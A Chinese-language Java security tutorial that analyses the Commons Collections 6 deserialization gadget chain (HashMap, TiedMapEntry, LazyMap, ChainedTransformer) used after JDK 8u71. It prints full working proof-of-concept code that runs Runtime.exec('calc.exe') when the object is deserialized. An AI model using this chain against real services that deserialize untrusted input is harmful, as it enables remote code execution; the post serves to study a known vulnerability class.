本文最后更新于:2023年9月1日 上午
[TOC]
【java安全】CommonsCollections6
测试环境
3.1-3.2.1,jdk1.7,1.8
前言
之前我们分析了CommonsCollections1 LazyMap
利用链,但是在java 8u71
以后这个链就不能继续用了,原因是sun.reflect.annotation.AnnotationInvocationHandler
类的readObject()
等方法的逻辑改变了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { ObjectInputStream.GetField var2 = var1.readFields(); Class var3 = (Class)var2.get("type", (Object)null); Map var4 = (Map)var2.get("memberValues", (Object)null); AnnotationType var5 = null;
try { var5 = AnnotationType.getInstance(var3); } catch (IllegalArgumentException var13) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); }
Map var6 = var5.memberTypes(); LinkedHashMap var7 = new LinkedHashMap();
String var10; Object var11; for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { Map.Entry var9 = (Map.Entry)var8.next(); var10 = (String)var9.getKey(); var11 = null; Class var12 = (Class)var6.get(var10); if (var12 != null) { var11 = var9.getValue(); if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10)); } } }
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3); AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7); }
|
我们需要找一个绕过高版本的利用链CommonsCollections6
分析
LazyMap
的get()
方法我们不能继续使用CommonsCollections1
中通过使用动态代理的方式调用AnnotationInvocationHandler
的invoke()
方法,从而触发LazyMap#get()
方法了
我们需要了解到一个新的类:
TiedMapEntry
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L; private final Map map; private final Object key;
public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getValue() { return this.map.get(this.key); }
... public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
|
这里重点关注TiedMapEntry
类的hashCode()
方法,他会调用自身的getValue()
方法,而this.map
变量可以传入LazyMap
类型,于是就触发了get()
方法
但是应该从哪里调用TiedMapEntry#hashCode()
方法呢?
我们可以使用HashMap
HashMap#readObject()
方法会对key
使用hash()
方法,然后hash方法会对key使用hashCode()
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); ... putVal(hash(key), key, value, false, false); } } } public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
|
于是我们可以构造一个HashMap
然后使用put方法将TiedMapEntry
添加进去:
1 2 3 4 5 6 7
| TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos"); Map hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value");
|
注意点一
需要注意,我们在使用HashMap#put()
方法的时候,会触发hash()
方法,从而在没有反序列化时就触发了RCE,这显然不合理,于是我们可以先在LazyMap
中添加一个假的ChainedTransformer
类对象,这样put()
就触发不了RCE了:
1 2 3 4 5 6 7 8 9 10 11 12 13
| Transformer[] fakeTransformers = new Transformer[]{}; Transformer chainedTransformer = new ChainedTransformer(fakeTransformers); Map uselessMap = new HashMap(); Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value");
|
添加完成之后我们通过反射将chainedTransformer
的变量iTransformer
改为真的:
1 2 3
| Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(chainedTransformer, transformers);
|
总结一下:
我们想要触发LazyMap#get()
方法,可以通过TiedMapEntry#hashCode()
方法,然后TiedMapEntry#hashCode()
方法可以被HashMap#readObject()
中的hash()
调用,完成RCE
我们接下来模拟反序列化,完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class cc6 { public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class }, new String[]{"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(fakeTransformers); Map uselessMap = new HashMap(); Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value"); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(chainedTransformer, transformers);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(hashMap); oos.close();
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); ois.close(); } }
|
看似以及完美了,但是我们执行一下发现没有弹出计算器
注意点二
上述代码的问题在这:
1
| hashMap.put(tiedMapEntry, "value");
|
虽然tiedMapEntry
中的LazyMap
的值chainedTransformer
已经换为空的,但是还是会执行hash()
方法
这导致方框中的条件为false,不进入if中,导致不会执行chainedTransformer#transform()
方法
解决方法:
我们在put()
后使用Map#clear()
方法,将LazyMap
中的值清空
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class cc6 { public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class }, new String[]{"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(fakeTransformers); Map uselessMap = new HashMap(); Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value"); outerMap.clear(); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(chainedTransformer, transformers);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(hashMap); oos.close();
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); ois.close(); } }
|
调用栈
1 2 3 4 5 6 7 8 9 10
| ->HashMap.readObject() ->HashMap.hash() ->TiedMapEntry.hashCode() ->TiedMapEntry.getValue() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
|